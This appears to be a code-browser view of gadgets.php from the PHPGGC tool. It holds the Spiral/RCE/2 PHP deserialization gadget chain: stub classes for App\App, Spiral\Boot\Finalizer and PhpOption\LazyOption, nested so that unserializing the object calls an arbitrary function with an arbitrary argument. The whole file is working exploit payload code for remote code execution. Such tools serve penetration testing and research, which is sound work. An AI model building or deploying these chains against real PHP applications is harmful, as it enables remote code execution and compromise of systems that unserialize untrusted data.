Codebase list phpggc / e9edb64d-78cb-40d5-a4b3-25ec6c6bb270/upstream/0.20221214 gadgetchains / Spiral / RCE / 2 / gadgets.php
e9edb64d-78cb-40d5-a4b3-25ec6c6bb270/upstream/0.20221214

Tree @e9edb64d-78cb-40d5-a4b3-25ec6c6bb270/upstream/0.20221214 (Download .tar.gz)

gadgets.php @e9edb64d-78cb-40d5-a4b3-25ec6c6bb270/upstream/0.20221214raw · history · blame

<?php

namespace App
{
    class App
    {
        protected $finalizer;

        function __construct($function,$param)
        {
            $this->finalizer = new \Spiral\Boot\Finalizer($function,$param);
        }
    }
}

namespace Spiral\Boot
{
    class Finalizer
    {
        private $finalizers;

        function __construct($function,$param)
        {
            $this->finalizers = [[new \PhpOption\LazyOption($function,$param),"get"]];
        }
    }
}

namespace PhpOption
{
    class LazyOption
    {
        private $callback;
        private $arguments;

        public function __construct($function,$parameter)
        {
            $this->callback = $function;
            $this->arguments = [$parameter];
        }
    }
}